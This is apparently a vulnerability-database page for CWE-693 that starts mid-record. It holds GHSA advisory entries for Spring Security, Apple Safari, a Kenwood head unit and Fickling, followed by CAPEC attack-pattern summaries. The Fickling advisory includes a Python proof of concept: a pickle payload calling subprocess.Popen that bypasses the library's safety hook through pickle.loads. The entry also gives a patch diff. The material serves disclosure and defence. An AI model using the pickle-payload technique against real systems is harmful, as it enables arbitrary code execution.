{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/kimai-before-2.56.0-information-disclosure-via-config-twig-function"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W9MX-MX4M-6M48
Vulnerability from github – Published: 2026-08-27 21:31 – Updated: 2026-08-27 21:31Spring Security's InetAddressMatchers utility provides matchInternal() and matchExternal() builders for constructing an InetAddressMatcher that classifies a given IP address as belonging to an internal (private) or external (public) network. Spring Security 7.1.0
{
"affected": [],
"aliases": [
"CVE-2026-59277"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T20:17:53Z",
"severity": "LOW"
},
"details": "Spring Security\u0027s InetAddressMatchers utility provides matchInternal() and matchExternal() builders for constructing an InetAddressMatcher that classifies a given IP address as belonging to an internal (private) or external (public) network.\nSpring Security 7.1.0",
"id": "GHSA-w9mx-mx4m-6m48",
"modified": "2026-08-27T21:31:37Z",
"published": "2026-08-27T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59277"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-59277"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W9QH-3C3H-MC7X
Vulnerability from github – Published: 2026-03-25 03:31 – Updated: 2026-03-25 21:30This issue was addressed through improved state management. This issue is fixed in Safari 26.4, iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Tahoe 26.4, tvOS 26.4, visionOS 26.4, watchOS 26.4. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.
{
"affected": [],
"aliases": [
"CVE-2026-20665"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T01:17:05Z",
"severity": "MODERATE"
},
"details": "This issue was addressed through improved state management. This issue is fixed in Safari 26.4, iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Tahoe 26.4, tvOS 26.4, visionOS 26.4, watchOS 26.4. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.",
"id": "GHSA-w9qh-3c3h-mc7x",
"modified": "2026-03-25T21:30:28Z",
"published": "2026-03-25T03:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20665"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126792"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126793"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126794"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126797"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126798"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126799"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126800"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WC9H-GMQM-V3V8
Vulnerability from github – Published: 2025-08-06 03:30 – Updated: 2025-08-06 03:30Kenwood DMX958XR Protection Mechanism Failure Software Downgrade Vulnerability. This vulnerability allows physically present attackers to downgrade software on affected installations of Kenwood DMX958XR devices. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the libSystemLib library. The issue results from the lack of proper validation of version information before performing an update. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of root. Was ZDI-CAN-26355.
{
"affected": [],
"aliases": [
"CVE-2025-8656"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-06T02:15:54Z",
"severity": "MODERATE"
},
"details": "Kenwood DMX958XR Protection Mechanism Failure Software Downgrade Vulnerability. This vulnerability allows physically present attackers to downgrade software on affected installations of Kenwood DMX958XR devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the libSystemLib library. The issue results from the lack of proper validation of version information before performing an update. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of root. Was ZDI-CAN-26355.",
"id": "GHSA-wc9h-gmqm-v3v8",
"modified": "2025-08-06T03:30:27Z",
"published": "2025-08-06T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8656"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-804"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WCCX-J62J-R448
Vulnerability from github – Published: 2026-03-04 21:30 – Updated: 2026-03-04 21:30Assessment
The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.
Original report
Summary
fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.
Affected versions
<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)
Non-duplication check against published Fickling GHSAs
No published advisory covers hook-coverage bypass in run_hook().
Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.
Root cause
run_hook() patches only:
- pickle.load
- pickle.Unpickler
- _pickle.Unpickler
It does not patch:
- pickle.loads
- _pickle.load
- _pickle.loads
Reproduction (clean upstream)
import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError
class Payload:
def __reduce__(self):
import subprocess
return (subprocess.Popen, (['echo','BYPASS'],))
data = pickle.dumps(Payload())
fickling.always_check_safety()
# Bypass path
with patch('subprocess.Popen') as popen_mock:
pickle.loads(data)
print('bypass sink called?', popen_mock.called) # True
# Control path is blocked
with patch('subprocess.Popen') as popen_mock:
try:
pickle.load(io.BytesIO(data))
except UnsafeFileError:
pass
print('blocked sink called?', popen_mock.called) # False
Observed on vulnerable code:
- pickle.loads executes payload
- pickle.load is blocked
Minimal patch diff
--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
def run_hook():
- pickle.load = loader.load
+ pickle.load = loader.load
+ _pickle.load = loader.load
+ pickle.loads = loader.loads
+ _pickle.loads = loader.loads
Validation after patch
pickle.loads,_pickle.loads, and_pickle.loadall raiseUnsafeFileError- sink not called in any path
Regression tests added locally:
- test_run_hook_blocks_pickle_loads
- test_run_hook_blocks__pickle_load_and_loads
in test/test_security_regressions_20260303.py
Impact
High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.8"
},
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T21:30:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Assessment\n\nThe missing pickle entrypoints `pickle.loads`, `_pickle.loads`, and `_pickle.load` were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.\n\n# Original report\n\n## Summary\n`fickling.always_check_safety()` does not hook all pickle entry points. `pickle.loads`, `_pickle.loads`, and `_pickle.load` remain unprotected, enabling malicious payload execution despite global safety mode being enabled.\n\n## Affected versions\n`\u003c= 0.1.8` (verified on current upstream HEAD as of 2026-03-03)\n\n## Non-duplication check against published Fickling GHSAs\nNo published advisory covers hook-coverage bypass in `run_hook()`.\nExisting advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.\n\n## Root cause\n`run_hook()` patches only:\n- `pickle.load`\n- `pickle.Unpickler`\n- `_pickle.Unpickler`\n\nIt does not patch:\n- `pickle.loads`\n- `_pickle.load`\n- `_pickle.loads`\n\n## Reproduction (clean upstream)\n```python\nimport io, pickle, _pickle\nfrom unittest.mock import patch\nimport fickling\nfrom fickling.exception import UnsafeFileError\n\nclass Payload:\n def __reduce__(self):\n import subprocess\n return (subprocess.Popen, ([\u0027echo\u0027,\u0027BYPASS\u0027],))\n\ndata = pickle.dumps(Payload())\nfickling.always_check_safety()\n\n# Bypass path\nwith patch(\u0027subprocess.Popen\u0027) as popen_mock:\n pickle.loads(data)\n print(\u0027bypass sink called?\u0027, popen_mock.called) # True\n\n# Control path is blocked\nwith patch(\u0027subprocess.Popen\u0027) as popen_mock:\n try:\n pickle.load(io.BytesIO(data))\n except UnsafeFileError:\n pass\n print(\u0027blocked sink called?\u0027, popen_mock.called) # False\n```\n\nObserved on vulnerable code:\n- `pickle.loads` executes payload\n- `pickle.load` is blocked\n\n## Minimal patch diff\n```diff\n--- a/fickling/hook.py\n+++ b/fickling/hook.py\n@@\n def run_hook():\n- pickle.load = loader.load\n+ pickle.load = loader.load\n+ _pickle.load = loader.load\n+ pickle.loads = loader.loads\n+ _pickle.loads = loader.loads\n```\n\n## Validation after patch\n- `pickle.loads`, `_pickle.loads`, and `_pickle.load` all raise `UnsafeFileError`\n- sink not called in any path\n\nRegression tests added locally:\n- `test_run_hook_blocks_pickle_loads`\n- `test_run_hook_blocks__pickle_load_and_loads`\n in `test/test_security_regressions_20260303.py`\n\n## Impact\nHigh-confidence runtime protection bypass for applications that trust `always_check_safety()` as global guard.",
"id": "GHSA-wccx-j62j-r448",
"modified": "2026-03-04T21:30:16Z",
"published": "2026-03-04T21:30:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-wccx-j62j-r448"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked"
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.